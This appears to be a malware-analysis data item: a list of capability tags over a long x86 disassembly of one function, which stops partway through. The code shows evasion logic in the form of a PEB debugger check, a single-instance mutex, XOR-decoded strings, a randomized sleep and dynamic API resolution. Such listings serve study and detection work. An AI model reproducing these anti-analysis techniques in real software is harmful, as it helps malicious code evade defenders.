Function at 0x3d87001
Capabilities:
Accept command line arguments
Check for peb beingdebugged flag
Check mutex on windows
Check os version
Copy file
Encode data using xor
Get session integrity level
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x6a0
mov esi, esp
mov dword [esi + 0x688], ebp
lea eax, [esi + 0x690]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x3dbceb0
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
mov al, byte [0x3de3a90]
xor ecx, ecx
mov edx, 8
call fcn.03db9190
test eax, eax
je 0x3d8bf96
mov word [eax], 0x79
lea ecx, [esi + 0x1d0]
mov dword [ecx], 4
mov dword [ecx + 4], eax
mov dword [ecx + 8], 1
mov ecx, eax
lea eax, [0x3dcf4d7]
mov dword [esi + 0xc], eax
mov eax, 2
xor edi, edi
mov edx, 2
lea ebx, [eax - 1]
test di, di
jne 0x3d8712a
mov dword [esi + 8], ecx
mov dword [esi + 4], eax
mov eax, dword [esi + 0xc]
lea edi, [0x3dcf4de]
cmp eax, edi
je 0x3d871e3
mov dword [esi + 0x20], edx
mov dl, byte [eax]
movzx edi, dl
test dl, dl
js 0x3d870be
inc eax
mov dword [esi + 0xc], eax
jmp 0x3d87121
and edi, 0x1f
movzx ecx, byte [eax + 1]
and ecx, 0x3f
cmp dl, 0xdf
jbe 0x3d87116
mov dword [esi + 0x10], ebx
movzx ebx, byte [eax + 2]
shl ecx, 6
and ebx, 0x3f
or ebx, ecx
cmp dl, 0xf0
jb 0x3d87192
movzx edx, byte [eax + 3]
and edi, 7
mov ecx, ebx
mov ebx, edi
shl ebx, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
mov edi, edx
or edi, ebx
cmp edi, 0x110000
je 0x3d871dd
add eax, 4
mov dword [esi + 0xc], eax
jmp 0x3d8719d
add eax, 2
mov dword [esi + 0xc], eax
shl edi, 6
or edi, ecx
mov edx, dword [esi + 0x20]
mov eax, dword [esi + 4]
mov ecx, dword [esi + 8]
mov dword [esi], 0
cmp ebx, dword [esi + 0x1d0]
je 0x3d8714d
mov word [ecx + edx], di
mov dword [esi + 0x1d8], eax
add edx, 2
inc eax
mov edi, dword [esi]
jmp 0x3d87089
mov dword [esi + 4], eax
mov eax, 0x3dcf4d6
sub eax, dword [esi + 0xc]
add eax, 0xa
mov dword [esi + 0x20], edx
mov ecx, 0xaaaaaaab
mul ecx
mov eax, edx
shr eax, 1
cmp word [esi], 1
sbb eax, 0
add eax, 2
lea ecx, [esi + 0x1d0]
mov edx, ebx
push eax
call fcn.03dcd4af
mov eax, dword [esi + 4]
mov edx, dword [esi + 0x20]
add esp, 4
mov ecx, dword [esi + 0x1d4]
jmp 0x3d87138
add eax, 3
mov dword [esi + 0xc], eax
shl edi, 0xc
or edi, ebx
mov edx, dword [esi + 0x20]
cmp edi, 0xffff
mov eax, dword [esi + 4]
jbe 0x3d871d5
lea ecx, [edi + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and edi, 0x3ff
or edi, 0xdc00
mov dword [esi], edi
mov edi, ecx
mov ebx, dword [esi + 0x10]
mov ecx, dword [esi + 8]
jmp 0x3d87130
mov ebx, dword [esi + 0x10]
jmp 0x3d87127
mov ebx, dword [esi + 0x10]
mov edx, dword [esi + 0x20]
mov edi, dword [esi + 0x1d0]
mov eax, dword [esi + 0x1d4]
test ebx, ebx
je 0x3d87242
xor ecx, ecx
cmp word [eax + ecx*2], 0
je 0x3d872bc
inc ecx
add edx, 0xfffffffe
jne 0x3d871f5
mov dword [esi + 0x1d0], edi
mov dword [esi + 0x1d4], eax
mov dword [esi + 0x1d8], ebx
test ebx, ebx
je 0x3d87254
cmp word [eax + ebx*2 - 2], 0
je 0x3d87290
cmp ebx, edi
jne 0x3d8723d
lea edi, [esi + 0x1d0]
mov ecx, edi
mov edx, ebx
call fcn.03dbcae3
mov eax, dword [edi + 4]
mov ebx, dword [edi + 8]
lea eax, [eax + ebx*2]
jmp 0x3d87272
mov dword [esi + 0x1d0], edi
mov dword [esi + 0x1d4], eax
mov dword [esi + 0x1d8], ebx
xor ecx, ecx
test edi, edi
jne 0x3d8726f
lea ebx, [esi + 0x1d0]
mov ecx, ebx
xor edx, edx
call fcn.03dbcae3
mov eax, dword [ebx + 4]
mov ecx, dword [ebx + 8]
lea eax, [eax + ecx*2]
mov word [eax], 0
mov ebx, dword [esi + 0x1d8]
inc ebx
mov dword [esi + 0x1d8], ebx
mov edi, dword [esi + 0x1d0]
mov eax, dword [esi + 0x1d4]
cmp edi, ebx
mov dword [esi + 0x10], ebx
jbe 0x3d872e4
test ebx, ebx
je 0x3d872d0
lea edi, [ebx + ebx]
push edi
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
jne 0x3d872e4
mov ecx, 2
jmp 0x3d8c07f
cmp edi, 0x80000000
jne 0x3d87351
xor ecx, ecx
inc ecx
mov dword [esi + 0x10], ecx
jmp 0x3d872e4
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 2
xor ecx, ecx
mov ebx, eax
push eax
push ecx
push ecx
call sub.KERNEL32.dll_CreateMutexW
mov edi, eax
call sub.KERNEL32.dll_GetLastError
mov ecx, edi
mov edi, 0x80000000
test ecx, ecx
je 0x3d8732b
mov dword [esi], ecx
cmp ecx, 6
mov edx, dword [esi + 0x10]
mov ecx, ebx
je 0x3d87335
mov edi, 0x80000001
cmp eax, 0xb7
jne 0x3d87332
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
mov edx, dword [esi + 0x10]
xor eax, eax
jmp 0x3d87335
mov edx, dword [esi + 0x10]
mov ecx, ebx
jmp 0x3d87335
xor eax, eax
inc eax
mov word [ecx], 0
test edx, edx
je 0x3d87351
push ecx
push 0
push dword [0x3de3a38]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
cmp edi, 0x80000001
jne 0x3d8c15e
test eax, eax
je 0x3d8c15e
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
cmp byte [eax + 2], 0
jne 0x3d8c15e
lea eax, [0x3dca294]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0xcb465e85
mov edx, dword [esi + 0x1d0]
call fcn.03d81a42
xor ecx, ecx
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], ecx
mov dword [esi + 0x1d8], ecx
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dce920]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d873be
lea ebx, [esi + 0x1d0]
mov eax, dword [ebx + 8]
lea ecx, [esi + 0xfc]
mov dword [ecx - 4], eax
movsd xmm0, qword [ebx]
movsd qword [ecx - 0xc], xmm0
mov dword [ebx], 1
lea eax, [esi + 0xf0]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov word [ebx + 0xc], 0
lea edi, [esi + 0x40]
mov ecx, edi
mov edx, ebx
call fcn.03d8136f
mov eax, dword [edi + 4]
mov dword [esi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
lea eax, [0x3dccfb7]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0x24dca34e
mov edx, dword [ebx]
call fcn.03d81b0e
xor ecx, ecx
mov dword [ebx + 4], ecx
mov dword [ebx], ecx
mov dword [ebx + 8], ecx
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dce92c]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d8744a
mov al, byte [eax + 0xc]
xor al, 0x75
mov byte [esi + 0x1dc], al
movsd xmm0, qword [esi + 0x1d0]
lea eax, [esi + 0x5d0]
movsd qword [eax], xmm0
movsd xmm0, qword [esi + 0x1d5]
movsd qword [eax + 5], xmm0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp dword [esi + 0x40], 0
je 0x3d874ad
push dword [esi]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
jne 0x3d8c15e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
xor edi, ebx
mov ecx, 0xba2e8ba3
mov eax, edi
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
lea eax, [edx + eax*2]
sub edi, eax
lea eax, [esi + 0xd0]
mov dword [eax], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xf
push eax
call ebx
imul eax, edi, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor edi, edi
push edi
push eax
call ebx
lea eax, [esi + 0x70]
lea ecx, [esi + 0xd0]
mov dword [eax], ecx
mov dword [eax + 4], fcn.03d93480
lea ecx, [esi + 0x5d0]
mov dword [ecx], 0x3dcef00
mov dword [ecx + 4], 2
mov dword [ecx + 0x10], edi
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 1
mov dword [esi + 0x90], str.stdoutstderrlibrary_std_srciomod.rs
mov dword [esi + 0x94], 6
call fcn.03dadec0
test al, al
jne 0x3d876a9
mov eax, dword [0x3de39c0]
cmp eax, 3
jne 0x3d89320
call fcn.03da2f70
test eax, eax
je 0x3d8bfcb
mov edi, eax
mov eax, dword [0x3de39e0]
cmp eax, edi
jne 0x3d8759e
mov eax, dword [0x3de39e4]
inc eax
je 0x3d8c0e8
mov dword [esi + 0x698], 2
jmp 0x3d875bb
lea ebx, [0x3de39dc]
push ebx
call dword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov dword [ebx + 4], edi
mov dword [esi + 0x698], 2
xor eax, eax
inc eax
lea ecx, [0x3de39c4]
mov dword [ecx + 0x20], eax
mov dword [esi + 0xf0], ecx
lea ecx, [esi + 0x1d0]
lea eax, [esi + 0xf0]
mov dword [ecx + 8], eax
mov byte [ecx], 4
mov edx, 0x3dd8c84
lea eax, [esi + 0x5d0]
push eax
call fcn.03d93f70
add esp, 4
mov cl, byte [esi + 0x1d0]
test al, al
je 0x3d8760b
cmp cl, 4
jne 0x3d87650
mov ebx, 2
mov edi, 0x3dd9558
jmp 0x3d87684
mov ebx, 4
cmp cl, 3
jne 0x3d87684
mov eax, dword [esi + 0x1d4]
mov ecx, dword [eax]
mov dword [esi + 4], eax
mov eax, dword [eax + 4]
mov dword [esi + 0x698], 1
mov dword [esi + 0x20], ecx
push ecx
mov dword [esi], eax
call dword [eax]
add esp, 4
mov eax, dword [esi]
cmp dword [eax + 4], 0
mov ebx, 4
je 0x3d87673
cmp dword [eax + 8], 9
jae 0x3d8765e
mov eax, dword [esi + 0x20]
jmp 0x3d87664
mov ebx, dword [esi + 0x1d0]
mov edi, dword [esi + 0x1d4]
jmp 0x3d87684
mov eax, dword [esi + 0x20]
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esi + 4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esi + 0xf0]
dec dword [eax + 0x20]
jne 0x3d876a0
mov dword [eax + 0x1c], 0
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp bl, 4
jne 0x3d8bfeb
lea eax, [0x3dc25be]
lea edi, [esi + 0x1d0]
mov dword [edi], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [edi]
mov dword [edi], 0x49b224f0
mov edx, dword [edi]
call fcn.03d81e19
movzx eax, word [eax]
xor eax, 0x3732
mov word [esi + 0x40], ax
lea eax, [esi + 0x40]
mov dword [esi + 0x5d0], eax
mov dword [esi + 0x5d4], 2
lea eax, [esi + 0x5d0]
mov dword [esi + 0xf0], eax
mov eax, 0x3d93278
mov dword [esi + 0xf4], eax
mov eax, 0x3dd8fa8
mov dword [edi], eax
xor ebx, ebx
inc ebx
mov dword [edi + 4], ebx
xor eax, eax
mov dword [edi + 0x10], eax
lea eax, [esi + 0xf0]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
lea ecx, [esi + 0x1c4]
mov edx, edi
call fcn.03d92750
lea eax, [0x3dce179]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x5b2f3aec
mov edx, dword [edi]
call fcn.03d81de5
mov ecx, 0xc3b2d2a8
xor ecx, dword [eax]
movzx edx, byte [eax + 6]
movzx eax, word [eax + 4]
mov dword [esi + 0x40], ecx
xor eax, 0x553b
mov word [esi + 0x44], ax
xor dl, 0x14
mov byte [esi + 0x46], dl
lea eax, [esi + 0x5d0]
mov dword [esi + 0xf0], eax
mov eax, 0x3d93278
mov dword [esi + 0xf4], eax
mov eax, 0x3dd8fa8
mov dword [edi], eax
mov dword [edi + 4], ebx
xor eax, eax
mov dword [edi + 0x10], eax
lea eax, [esi + 0xf0]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
lea eax, [esi + 0x40]
mov dword [esi + 0x5d0], eax
mov dword [esi + 0x5d4], 7
lea ecx, [esi + 0x17c]
lea edi, [esi + 0x1d0]
mov edx, edi
call fcn.03d92750
lea eax, [0x3dc7526]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x7f4e8aad
mov edx, dword [edi]
call fcn.03d81cfd
xor ecx, ecx
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov dword [edi + 8], ecx
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcf1f8]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d877e3
movzx ecx, byte [eax + 0xe]
movzx eax, word [eax + 0xc]
xor eax, 0xdea2
lea edi, [esi + 0x1d0]
mov word [edi + 0xc], ax
xor cl, 0x73
mov byte [edi + 0xe], cl
movsd xmm0, qword [edi]
movsd qword [esi + 0x5d0], xmm0
movsd xmm0, qword [edi + 7]
movsd qword [esi + 0x5d7], xmm0
lea eax, [esi + 0x5d0]
mov dword [esi + 0xf0], eax
mov dword [esi + 0xf4], 0xf
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov eax, 0x3d93278
mov dword [esi + 0x44], eax
mov eax, 0x3dd8fa8
mov dword [edi], eax
xor ebx, ebx
inc ebx
mov dword [edi + 4], ebx
xor eax, eax
mov dword [edi + 0x10], eax
lea eax, [esi + 0x40]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
lea ecx, [esi + 0x170]
mov edx, edi
call fcn.03d92750
lea eax, [0x3dc799a]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xc9fc51e3
mov edx, dword [edi]
call fcn.03d81c83
mov ecx, 0xd8b597c8
xor ecx, dword [eax]
movzx edx, byte [eax + 6]
movzx eax, word [eax + 4]
mov dword [esi + 0x40], ecx
xor eax, 0xff2e
mov word [esi + 0x44], ax
xor dl, 0xd8
mov byte [esi + 0x46], dl
lea eax, [esi + 0x5d0]
mov dword [esi + 0xf0], eax
mov eax, 0x3d93278
mov dword [esi + 0xf4], eax
mov eax, 0x3dd8fa8
mov dword [edi], eax
mov dword [edi + 4], ebx
xor eax, eax
mov dword [edi + 0x10], eax
lea eax, [esi + 0xf0]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
lea eax, [esi + 0x40]
mov dword [esi + 0x5d0], eax
mov dword [esi + 0x5d4], 7
lea ecx, [esi + 0xb8]
lea edi, [esi + 0x1d0]
mov edx, edi
call fcn.03d92750
lea eax, [0x3dc498a]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x36c50ee9
mov edx, dword [edi]
call fcn.03d81a23
xor ecx, ecx
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov dword [edi + 8], ecx
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcf207]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d87937
lea edi, [esi + 0x1d0]
mov eax, dword [edi + 8]
mov dword [esi + 0x5d8], eax
movsd xmm0, qword [edi]
movsd qword [esi + 0x5d0], xmm0
lea eax, [esi + 0x5d0]
mov dword [esi + 0xf0], eax
mov dword [esi + 0xf4], 0xc
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 0x3d93278
mov dword [edi], 0x3dd8fa8
xor eax, eax
inc eax
mov dword [edi + 4], eax
xor ebx, ebx
mov dword [edi + 0x10], ebx
lea ecx, [esi + 0x40]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], eax
lea ecx, [esi + 0x1b0]
mov edx, edi
call fcn.03d92750
lea eax, [0x3dcd06d]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x357dbabd
mov edx, dword [edi]
call fcn.03d81b69
mov dword [edi + 4], ebx
mov dword [edi], ebx
mov dword [edi + 8], ebx
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcf213]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d879dc
lea ebx, [esi + 0x1d0]
mov eax, dword [ebx + 8]
lea ecx, [esi + 0x5d0]
mov dword [ecx + 8], eax
movsd xmm0, qword [ebx]
movsd qword [ecx], xmm0
lea eax, [esi + 0x5d0]
mov dword [esi + 0xf0], eax
mov dword [esi + 0xf4], 0xc
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov eax, 0x3d93278
mov dword [esi + 0x44], eax
mov eax, 0x3dd8fa8
mov dword [ebx], eax
xor ecx, ecx
inc ecx
mov dword [ebx + 4], ecx
xor edi, edi
mov dword [ebx + 0x10], edi
lea eax, [esi + 0x40]
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
lea ecx, [esi + 0x188]
mov edx, ebx
call fcn.03d92750
lea eax, [0x3dc64ed]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0xab27a736
mov edx, dword [ebx]
call fcn.03d81b23
movzx eax, word [eax]
xor eax, 0x6579
lea ecx, [esi + 0x90]
mov word [ecx], ax
mov dword [esi + 0xf0], ecx
mov eax, 2
mov dword [esi + 0xf4], eax
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov eax, 0x3d93278
mov dword [esi + 0x44], eax
mov eax, 0x3dd8fa8
lea ebx, [esi + 0x5d0]
mov dword [ebx], eax
mov eax, 1
mov dword [ebx + 4], eax
mov dword [ebx + 0x10], edi
lea ecx, [esi + 0x40]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], eax
lea ecx, [esi + 0x218]
mov edx, ebx
call fcn.03d92750
lea eax, [0x3dcc563]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0xb78d1448
mov edx, dword [ebx]
call fcn.03d81d4c
movzx eax, word [eax]
xor eax, 0x4107
lea ecx, [esi + 0x90]
mov word [ecx], ax
mov dword [esi + 0xf0], ecx
mov eax, 2
mov dword [esi + 0xf4], eax
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov eax, 0x3d93278
mov dword [esi + 0x44], eax
mov eax, 0x3dd8fa8
mov dword [ebx], eax
xor eax, eax
inc eax
mov dword [ebx + 4], eax
mov dword [ebx + 0x10], edi
lea ecx, [esi + 0x40]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], eax
lea ecx, [esi + 0x224]
lea ebx, [esi + 0x5d0]
mov edx, ebx
call fcn.03d92750
lea eax, [0x3dc533a]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0x87d88509
mov edx, dword [ebx]
call fcn.03d81b37
movzx eax, word [eax]
xor eax, 0x23a3
lea ecx, [esi + 0x90]
mov word [ecx], ax
mov dword [esi + 0xf0], ecx
mov eax, 2
mov dword [esi + 0xf4], eax
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov eax, 0x3d93278
mov dword [esi + 0x44], eax
mov eax, 0x3dd8fa8
mov dword [ebx], eax
xor ecx, ecx
inc ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 0x10], edi
lea eax, [esi + 0x40]
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
lea ecx, [esi + 0x230]
lea ebx, [esi + 0x5d0]
mov edx, ebx
call fcn.03d92750
lea eax, [0x3dce519]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0x6d3358e9
mov edx, dword [ebx]
call fcn.03d81aea
movzx eax, word [eax]
xor eax, 0x867d
lea ecx, [esi + 0x90]
mov word [ecx], ax
mov dword [esi + 0xf0], ecx
mov eax, 2
mov dword [esi + 0xf4], eax
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov eax, 0x3d93278
mov dword [esi + 0x44], eax
mov eax, 0x3dd8fa8
mov dword [ebx], eax
xor eax, eax
inc eax
mov dword [ebx + 4], eax
mov dword [ebx + 0x10], edi
lea ecx, [esi + 0x40]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], eax
lea ebx, [esi + 0x23c]
lea edx, [esi + 0x5d0]
mov ecx, ebx
call fcn.03d92750
movsd xmm0, qword [esi + 0x1c4]
movsd qword [ebx - 0x6c], xmm0
mov eax, dword [esi + 0x1cc]
mov dword [ebx - 0x64], eax
movsd xmm0, qword [esi + 0x17c]
movsd qword [ebx - 0x60], xmm0
mov eax, dword [esi + 0x184]
mov dword [ebx - 0x58], eax
movsd xmm0, qword [esi + 0x170]
movsd qword [ebx - 0x54], xmm0
mov eax, dword [esi + 0x178]
mov dword [ebx - 0x4c], eax
movsd xmm0, qword [esi + 0xb8]
movsd qword [ebx - 0x48], xmm0
mov eax, dword [esi + 0xc0]
mov dword [ebx - 0x40], eax
mov eax, dword [esi + 0x1b8]
mov dword [ebx - 0x34], eax
movsd xmm0, qword [esi + 0x1b0]
movsd qword [ebx - 0x3c], xmm0
lea eax, [esi + 0x188]
movsd xmm0, qword [eax]
movsd qword [ebx - 0x30], xmm0
mov eax, dword [eax + 8]
mov dword [ebx - 0x28], eax
lea eax, [0x3dc0cd9]
lea ebx, [esi + 0x5d0]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0x6ecbb07e
mov edx, dword [ebx]
call fcn.03d81c13
mov ecx, 0x158caec9
xor ecx, dword [eax]
movzx eax, word [eax + 4]
lea edx, [esi + 0x90]
mov dword [edx], ecx
xor eax, 0x1283
mov word [edx + 4], ax
lea eax, [esi + 0xf0]
mov dword [esi + 0x40], eax
mov eax, 0x3d93278
mov dword [esi + 0x44], eax
mov eax, 0x3dd8fa8
mov dword [ebx], eax
xor ecx, ecx
inc ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 0x10], edi
lea eax, [esi + 0x40]
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov dword [esi + 0xf0], edx
mov dword [esi + 0xf4], 6
lea ecx, [esi + 0xd0]
lea ebx, [esi + 0x5d0]
mov edx, ebx
call fcn.03d92750
lea eax, [0x3dcab57]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0x5d337120
mov edx, dword [ebx]
call fcn.03d81cd8
mov dword [ebx + 4], edi
mov dword [ebx], edi
mov cl, 1
movzx ebx, byte [edi + 0x3dcf21b]
mov edx, edi
or edx, 1
movzx edx, byte [edx + 0x3dcf21b]
shl edx, 8
or edx, ebx
mov ebx, edi
or ebx, 2
movzx ebx, byte [ebx + 0x3dcf21b]
shl ebx, 0x10
or edx, ebx
mov ebx, edi
or ebx, 3
movzx ebx, byte [ebx + 0x3dcf21b]
shl ebx, 0x18
or edx, ebx
xor edx, dword [eax + edi]
mov dword [esi + edi + 0x5d0], edx
mov edi, 4
test cl, 1
mov ecx, 0
jne 0x3d87d5f
movzx eax, word [eax + 8]
xor eax, 0xe0fd
mov word [esi + 0xf8], ax
lea edi, [esi + 0x5d0]
movsd xmm0, qword [edi]
mov dword [edi], 0x3dd8fa8
xor eax, eax
inc eax
mov dword [edi + 4], eax
mov dword [edi + 0x10], 0
lea ecx, [esi + 0x90]
mov dword [edi + 8], ecx
movsd qword [esi + 0xf0], xmm0
lea ecx, [esi + 0xf0]
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0xa
lea ecx, [esi + 0x40]
mov dword [esi + 0x90], ecx
mov dword [esi + 0x94], 0x3d93278
mov dword [edi + 0xc], eax
lea ecx, [esi + 0x70]
mov edx, edi
call fcn.03d92750
lea eax, [0x3dcb549]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xb4f43c0f
mov edx, dword [edi]
call fcn.03d81c49
xorps xmm0, xmm0
movups xmmword [edi + 0x5c], xmm0
movaps xmmword [edi + 0x50], xmm0
movaps xmmword [edi + 0x40], xmm0
movaps xmmword [edi + 0x30], xmm0
movaps xmmword [edi + 0x20], xmm0
movaps xmmword [edi + 0x10], xmm0
movaps xmmword [edi], xmm0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcf229]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x5d4], edx
add ecx, 4
cmp ecx, 0x68
jb 0x3d87e5a
movzx ecx, byte [eax + 0x6e]
movzx eax, word [eax + 0x6c]
xor eax, 0xf557
lea ebx, [esi + 0x5d0]
mov word [ebx + 0x6c], ax
xor cl, 0xf1
mov byte [ebx + 0x6e], cl
mov eax, 0x6f
push eax
push edi
lea edi, [esi + 0xf0]
push edi
call fcn.03dbf720
add esp, 0xc
mov dword [esi + 0x40], edi
mov eax, 0x6f
mov dword [esi + 0x44], eax
lea ecx, [esi + 0x1a8]
lea eax, [esi + 0x40]
mov dword [ecx], eax
mov dword [ecx + 4], 0x3d93278
mov dword [ebx], 0x3dd8fa8
xor eax, eax
inc eax
mov dword [ebx + 4], eax
xor edi, edi
mov dword [ebx + 0x10], edi
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], eax
lea ecx, [esi + 0x90]
mov edx, ebx
call fcn.03d92750
mov ecx, 4
xor edx, edx
call fcn.03da19ec
mov dword [esi], eax
mov dword [esi + 4], edx
mov dword [edx], 0x6c6c756e
lea eax, [0x3dc200d]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0xf907d423
mov edx, dword [ebx]
call fcn.03d81e94
mov dword [ebx + 0x10], edi
xorps xmm0, xmm0
movaps xmmword [ebx], xmm0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcf298]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x5d4], edx
add ecx, 4
cmp ecx, 0x10
jb 0x3d87f23
lea edi, [esi + 0x600]
mov eax, dword [edi - 0x20]
lea ecx, [esi + 0x40]
mov dword [ecx + 0x10], eax
movaps xmm0, xmmword [edi - 0x30]
movaps xmmword [ecx], xmm0
lea eax, [esi + 0x40]
mov dword [esi + 0x1a8], eax
mov dword [esi + 0x1ac], 0x14
lea ecx, [esi + 0x1a0]
lea eax, [esi + 0x1a8]
mov dword [ecx], eax
mov dword [ecx + 4], 0x3d93278
lea edx, [esi + 0xf0]
mov dword [edx], 0x3dd8fa8
xor ebx, ebx
inc ebx
mov dword [edx + 4], ebx
xor eax, eax
mov dword [edx + 0x10], eax
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ebx
mov ecx, edi
call fcn.03d92750
movsd xmm0, qword [esi + 0xd0]
movsd qword [edi - 0x30], xmm0
mov eax, dword [esi + 0xd8]
mov dword [edi - 0x28], eax
lea ecx, [esi + 0x5dc]
movsd xmm0, qword [esi + 0x70]
movsd qword [ecx], xmm0
mov eax, dword [esi + 0x78]
mov dword [ecx + 8], eax
mov eax, dword [esi + 0x98]
mov dword [ecx + 0x14], eax
movsd xmm0, qword [esi + 0x90]
movsd qword [ecx + 0xc], xmm0
mov eax, dword [esi]
mov dword [ecx + 0x18], eax
mov eax, dword [esi + 4]
mov dword [ecx + 0x1c], eax
mov dword [ecx + 0x20], 4
lea edi, [esi + 0x60c]
push 0x78
lea ebx, [esi + 0x1d0]
push ebx
push edi
call fcn.03dbf720
add esp, 0xc
mov eax, dword [edi + 0x10]
mov dword [esi + 0xb4], eax
mov eax, dword [edi + 0x14]
mov dword [esi + 0x3c], eax
mov ecx, 0xb
xor edx, edx
inc edx
call fcn.03da19ec
lea ecx, [esi + 0x40]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov dword [ecx + 8], 0xb
call fcn.03d81938
lea eax, [0x3dbf8f4]
mov dword [esi + 0x1d0], eax
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0x1ff11c5a
mov edx, dword [esi + 0x1d0]
call fcn.03d81dc6
xor ecx, ecx
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], ecx
mov dword [esi + 0x1d8], ecx
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcee70]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d88079
mov eax, dword [esi + 0x1d8]
lea ecx, [esi + 0xf0]
mov dword [ecx + 8], eax
movsd xmm0, qword [esi + 0x1d0]
movsd qword [ecx], xmm0
mov edx, 0xc
